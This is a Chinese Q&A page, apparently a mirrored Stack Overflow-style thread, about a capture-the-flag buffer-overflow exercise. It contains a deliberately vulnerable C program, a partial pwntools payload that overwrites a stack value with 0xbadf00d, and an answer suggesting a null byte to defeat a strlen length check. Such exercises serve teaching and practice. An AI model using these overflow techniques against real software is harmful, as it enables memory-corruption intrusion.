二进制开发:缓冲区溢出

问题描述 投票:0回答:1

我需要调用 call_me() 函数才能获得标志。

标志.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "../../shared/kernels_lib.c"

typedef struct node_t {
    int x;
    char y;
    float z;
 } weird_node;

void unsafe() {
  int characters_read;
  int some_other_value = 0xFFFF;
  int* protector = (int *)malloc(sizeof(weird_node)*33);
  char buffer[24];

  printf("Give me some strings (Mind your values!):\n");
  read(0, buffer, 1000);
  characters_read = strlen(buffer);

  if (*(&protector + some_other_value) == 0xbadf00d) {
      if (characters_read > 24) {
              printf("\n\ttoo many characters read!\n");
              exit(-1);
    } else {
      call_me();
    }
  }
 }

int main(int argc, char* argv[]){
  unsafe();
  return 0;
}

e.py:

  #!/usr/bin/env python3

 import sys
 import os
 from pwn import *

 context.update(arch='x86_64', os='linux')

 payload = cyclic(32)
 payload += p64(0xbadf00d)
 payload += p64(0xFFFFFF)

我已经实现了将保护器的值修改为 0xbadf00d 以通过第一个 if 条件,但我不知道如何通过第二个,我也尝试修改 characters_read 变量但我可以成功。你能帮我一些提示吗?非常感谢。

python c security binary overflow
1个回答
0
投票

我不得不在有效负载中添加 0x00 以欺骗 strlen 函数

© www.soinside.com 2019 - 2024. All rights reserved.